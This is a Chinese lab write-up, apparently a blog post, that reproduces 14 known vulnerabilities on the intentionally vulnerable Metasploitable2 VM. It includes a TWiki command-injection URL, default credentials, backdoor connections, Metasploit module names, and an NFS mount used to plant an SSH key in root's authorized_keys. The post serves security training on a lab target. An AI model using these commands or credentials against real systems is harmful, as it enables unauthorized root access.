【漏洞验证】Metasploitable2靶机漏洞复现

Metasploitable2靶机漏洞复现

参考大佬:
https://blog.csdn.net/Fly_hps/article/details/89763310
https://blog.csdn.net/fly_hps/article/details/89763364

环境:vmware虚拟机Metasploitable2环境
IP:192.168.72.130

1、TWiki ‘rev’ Parameter Arbitrary Command Execution

描述: rev参数可执行任意命令
验证: http://192.168.72.130/twiki/bin/view/Main/TWikiUsers?rev=2%20|pwd||echo
在这里插入图片描述

2、VNC Server ‘password’ Password

验证: vncviewer 192.168.72.130
Password: password在这里插入图片描述

3、Ingreslock 后门漏洞

原理: Ingreslock后门程序监听1524端口,连接到1524端口就可以直接获取root权限。
端口: 1524
验证: telnet 192.168.72.130 1524
在这里插入图片描述

4、UnrealIRCd Backdoor(ircd)

端口: 6667
利用模块: exploit/unix/irc/unreal_ircd_3281_backdoor
在这里插入图片描述

5、 PHP-CGI Query String Parameter Injection Arbitrary Code Execution

CVE-2012-1823
利用模块: exploit/multi/http/php_cgi_arg_injection
在这里插入图片描述

6、Tomcat管理台默认口令漏洞

192.168.160.131:8180
tomcat/tomcat

7、MySQL弱密码登录

验证: mysql –h 192.168.160.131 –u root
在这里插入图片描述

8、PostgreSQL弱密码登录

postgres/postgres
在这里插入图片描述

9、Distcc后门漏洞

CVE-2004-2687

nmap扫描:
在这里插入图片描述
端口: 3632
利用模块: exploit/unix/misc/distcc_exec
在这里插入图片描述

10、vsftpd 2.3.4 后门漏洞

nmap扫描:
在这里插入图片描述
利用模块: exploit/unix/ftp/vsftpd_234_backdoor
在这里插入图片描述

11、Druby 远程代码执行漏洞

CVE-2013-0156(类似)

利用模块: exploit/linux/misc/drb_remote_codeexec
端口: 8787
在这里插入图片描述

12、Samba sysmlink 默认配置目录遍历漏洞

CVE-2010-0926

端口: 445
利用模块:
auxiliary/admin/smb/samba_symlink_traversal
set SMBSHARE tmp //设置SAM可写文件

在新窗口下打开上面生成的共享目录:

smbclient //IP/tmp (不输入密码直接回车)
cd rootfs
ls

在这里插入图片描述

13、Samba MS-RPC Shell 命令注入漏洞

CVE-2007-2447

端口: 139
利用模块: exploit/multi/samba/usermap_script
在这里插入图片描述

14、Linux NFS共享目录配置漏洞

原理: NFS服务配置漏洞赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys 可被修改,实现远程ssh无密码登录
在这里插入图片描述
在这里插入图片描述
输入ssh-keygen 生成RSA公钥
在这里插入图片描述
依次输入:
(1)mount –t nfs 192.168.160.131:/ /tmp/test(预先创建),把192.168.160.131的根目录挂载到/tmp/test/下;
(2)cat/root/.ssh/id_rsa.pub>>/tmp/test/root/.ssh/authorized_keys,把生成的公钥追加到靶机的authorized_keys下;
(3)sshroot@192.168.72.130,实现无密码登录
在这里插入图片描述

  • 2
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值